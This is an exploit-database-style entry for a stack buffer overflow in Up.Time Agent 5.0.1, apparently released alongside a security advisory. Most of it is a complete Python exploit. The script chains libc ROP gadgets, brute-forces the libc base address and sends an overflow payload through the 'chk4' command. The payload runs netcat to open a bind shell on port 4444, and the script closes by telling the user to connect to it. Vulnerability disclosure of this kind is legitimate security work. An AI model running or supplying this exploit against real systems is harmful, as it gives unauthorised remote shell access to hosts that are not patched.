Uptime Agent 5.0.1 – Stack Overflow
# Exploit Title: Up.Time Agent 5.0.1 Stack Overflow # Date: 28/11/2013 # Exploit Author: Denis Andzakovic # Vendor Homepage: http://www.uptimesoftware.com/ # Version: 5.0.1 # Tested on: Debian 7 (Kernel 3.2.0), Kali (Kernel 3.7) ( , ) (, . '.' ) ('. ', ). , ('. ( ) ( (_,) .'), ) _ _, / _____/ / _ \ ____ ____ _____ \____ \==/ /_\ \ _/ ___\/ _ \ / \ / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq (x.0) '=.|w|.=' _=''"''=. presents.. Uptime Agent 5.0.1 Stack Overflow Vulnerability Affected versions: Uptime Agent 5.0.1 (i386) PDF: http://www.security-assessment.com/files/documents/advisory/Up.Time%20Agent%205.0.1%20Stack%20Overflow.pdf #!/usr/bin/python # # Stack based buffer overflow in Up.Time Agent 5.0.1 (i386). # This exploit will create a bind shell running on port # 4444 on the targeted host. # # Author: Denis Andzakovic # Date: 30/10/2013 # import socket import sys import time import argparse from struct import pack def copyBytes(string, location): pcaret = 0xd8f30 # pop ecx ; pop eax ;; movbyte = 0x29ecf # mov [eax] ecx ;; chain = pack("<I",pcaret+libcOffset) chain += str(string) chain += pack("<I",location) chain += pack("<I",movbyte+libcOffset) return chain def copyNullByte(location): # NOTE: eax *MUST* be null before hitting this chain. popedx = 0x1a9e # pop edx ;; nullcpy = 0x11f98d # mov [edx] al ; pop ebx ;; chain = pack("<I",popedx+libcOffset) chain += pack("<I",location) # address of NULL chain += pack("<I",nullcpy+libcOffset) chain += "BEES" # padding return chain def sendSploit(ip, port, libcOffset): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) customstack = 0x0804d380 # gadgets! pcaret = 0xd8f30 # pop ecx ; pop eax ;; popebx = 0x78af4 # pop ebx ;; movbyte = 0x29ecf # mov [eax] ecx ;; xoreax = 0x796bf # xor eax eax ;; popedx = 0x1a9e # pop edx ;; pcdret = 0x2a6eb # pop ecx ; pop edx ;; addeax = 0x7faa8 # add eax 0xb ;; callsys = 0xa10f5 # call gs:[0x10] ;; nullcpy = 0x11f98d # mov [edx] al ; pop ebx ;; # We will be executing "/bin//nc -lp4444 -e/bin/sh" using execve. # Arguments passed to execve will be loaded at our custom stack location rop = copyBytes("/bin",customstack) rop += copyBytes("//nc",customstack+4) rop += copyBytes("-lp4",customstack+9) rop += copyBytes("444A",customstack+13) rop += copyBytes("-e/b",customstack+17) rop += copyBytes("in/b",customstack+21) rop += copyBytes("shAA",customstack+24) # Set up the pointer array for execve() rop += copyBytes(pack("<I",customstack),customstack+27) rop += copyBytes(pack("<I",customstack+9),customstack+31) rop += copyBytes(pack("<I",customstack+17),customstack+35) # Set up Null bytes rop += pack("<I",xoreax+libcOffset) rop += copyNullByte(customstack+8) rop += copyNullByte(customstack+16) rop += copyNullByte(customstack+26) rop += copyNullByte(customstack+39) rop += copyNullByte(customstack+40) rop += copyNullByte(customstack+41) rop += copyNullByte(customstack+42) # Load parameters into relevant registers and Call execve rop += pack("<I",pcdret+libcOffset) rop += pack("<I",customstack+27) rop += pack("<I",customstack+39) rop += pack("<I",popebx+libcOffset) rop += pack("<I",customstack) rop += pack("<I",xoreax+libcOffset) rop += pack("<I",addeax+libcOffset) rop += pack("<I",callsys+libcOffset) rop += "AAAA" djubre = "chk4 " + "A"*243 s.sendall(djubre + rop) data = s.recv(1024) s.close() parser = argparse.ArgumentParser(description='Uptime Agent 5.0.1 CHK4 Buffer Overflow') parser.add_argument('-d','--host', help="IP Address of target machine", required=True) parser.add_argument('-p','--port', help="Port of target machine", required=True) args = parser.parse_args() spinnerChars = ["|","/","-","\\","|","/","-","\\"] spinnerIndex = 0 print "[+] Attacking " + args.host + " on port " + args.port libc= 0xb7000 for i in range(0x000,0xfff): libcOffset = (libc+i)*0x1000 print spinnerChars[spinnerIndex] ," - Bruteforcing LibC Offset - ", hex(libcOffset)," \r", sys.stdout.flush() # 0xb7123 = 0xb7123000 sendSploit(args.host,int(args.port),libcOffset) spinnerIndex = spinnerIndex+1 if(spinnerIndex == 8): spinnerIndex = 0 print "\n[+] Completed! Access shell using 'nc <targethost> 4444'" |